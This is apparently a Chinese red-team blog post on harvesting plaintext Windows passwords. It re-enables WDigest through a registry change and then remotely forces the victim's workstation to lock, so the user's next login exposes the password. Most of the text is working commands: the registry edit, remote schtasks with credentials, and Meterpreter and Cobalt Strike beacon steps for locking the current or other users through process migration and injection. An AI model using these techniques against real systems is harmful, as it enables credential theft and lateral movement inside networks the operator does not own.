本文作者:掉到鱼缸里的猫(Ms08067内网安全小组成员)
文章来源|MS08067 内网安全知识星球
1.理论
学过徐老师《内网安全攻防:渗透测试实战指南》第五章的⼩伙伴都知道,巨硬为了防⽌密码在内存中以明⽂形式泄露,发布了KB2871997补丁,⽤来关闭Win7和08的Wdigest功能,同时Server2012版以上默认关闭该功能,但是仍然可以通过修改注册表的⽅法来⼿动开启。
代码语言:javascript复制reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f
修改后只要⽤⼾重新登录就可以抓取其明⽂⼝令,但是这⾥就存在⼀个问题:如果⽤⼾图省事⼀直不下线、不锁屏,或者规定的测试时间很短,需要在短时间内获取⽤⼾明⽂⼝令,⽤⼾没有登录⾏为,那么抓密码也就⽆从谈起。
如果他不锁屏,那就帮他锁屏:
CMD版本:
代码语言:javascript复制rundll32.exe user32.dll,LockWorkStation
PowerShell版本:
代码语言:javascript复制Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name
"Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
2.测试
原本以为凡是远程执⾏命令就可以达到⽬标,但是经过测试后才发现现实很⻣感,测试了计划任务、wmic、winrm、psexec、MSF Meterpreter、Cobalt Strike beacon五种远程执⾏⽅法,仅有MSF和CS的⽊⻢可以达到想要的效果。
2.1 计划任务
1. 使⽤ schtasks :
代码语言:javascript复制schtasks /create /tn "lock" /tr "rundll32.exe user32.dll, LockWorkStation" /sc
once /st 19:24 /S \target /RU administrator /u administrator /p "password"
如果想要锁定其他⽤⼾,可以修改 /RU 参数为指定⽤⼾。
2. At 命令没有成功:interactive 这个参数在win7下已经⽆法使⽤,如果不加改参数,则会以SYSTEM ⾝份运⾏,并不会影响当前⽤⼾。
代码语言:javascript复制at \dc16 12:00 /interactive c:windowssystem32rundll32.exe "user32.dll,
LockWorkStation"
警告: 由于有安全增强功能,此任务将在预期时间运行,但不以交互方式运行。
如果要求交互式任务,则使用 schtasks.exe 实用程序(使用 "schtasks /?" 命令获取详细信
息)。
2.2MSF
1. 直接利⽤meterpreter的shell功能,获取⼀个⽬标的交互式窗⼝,执⾏ rundll32.exe
user32.dll,LockWorkStation 即可锁定当前⽤⼾。
2. 使⽤ execute :
代码语言:javascript复制meterpreter > execute -f rundll32.exe -a "user32.dll,LockWorkStation"
3. 利⽤powershell插件,执⾏powershell脚本也可以:
将powershell脚本保存在MSF本地,利⽤ powershell_import 导⼊,使⽤
powershell_execute 执⾏。
代码语言:javascript复制meterpreter > load powershell
meterpreter > powershell_import /home/kali/Desktop/lock.ps1
meterpreter > powershell_execute Lock-WorkStation
4. 如果想要锁定其他⽤⼾:
可以使⽤ migrate 命令迁移到指定⽤⼾的进程中去,利⽤上述⽅法即可锁定⽤⼾。
2.3 Cobalt Strike
1. 获取beacon后,使⽤ run 或者 execute 命令:
代码语言:javascript复制beacon> run rundll32.exe user32.dll,LockWorkStation
beacon> execute rundll32.exe user32.dll,LockWorkStation
2. 利⽤powershell:
代码语言:javascript复制beacon> powershell-import /home/kali/Desktop/lock.ps1
beacon> powershell Lock-WorkStation
3. 锁定其他⽤⼾:
使⽤ inject 命令从另外⼀个⽤⼾的进程中派⽣⼀个新的Beacon,利⽤上述⽅法即可锁定其他⽤
⼾。
2.4 存在的问题
1. at、wmic、winrm、PsExec这种“合法”⼯具⽆法完成锁定⽤⼾的操作,个⼈分析认为是以为他们三个执⾏后会在新的⼯作站中创建进程并执⾏,⽆法影响到⽤⼾所在的“Winsta0”⼯作站;⽽MSF、CS这种通过远控可以达到预期效果,是因为执⾏的进程是从本就在⽤⼾“Winsta0”⼯作站中的客⼾端进程派⽣出来。
2. 个⼈认为CS中的 runu 指令应该也可以直接锁定其他⽤⼾,但是没有测试成功,还希望了解的⼤佬指点⼀⼆。
帮助说“可以使⽤指定的PID作为⽗进程”,在当前⽤⼾的PID可以正常执⾏命令,但是使⽤其他⽤⼾的就会出现问题:⽬标⽤⼾PID虽然会创建⼦进程,但是提⽰“Path: [Error opening process]”,同时当前⽤⼾会弹出“程序⽆法正常启动”的错误。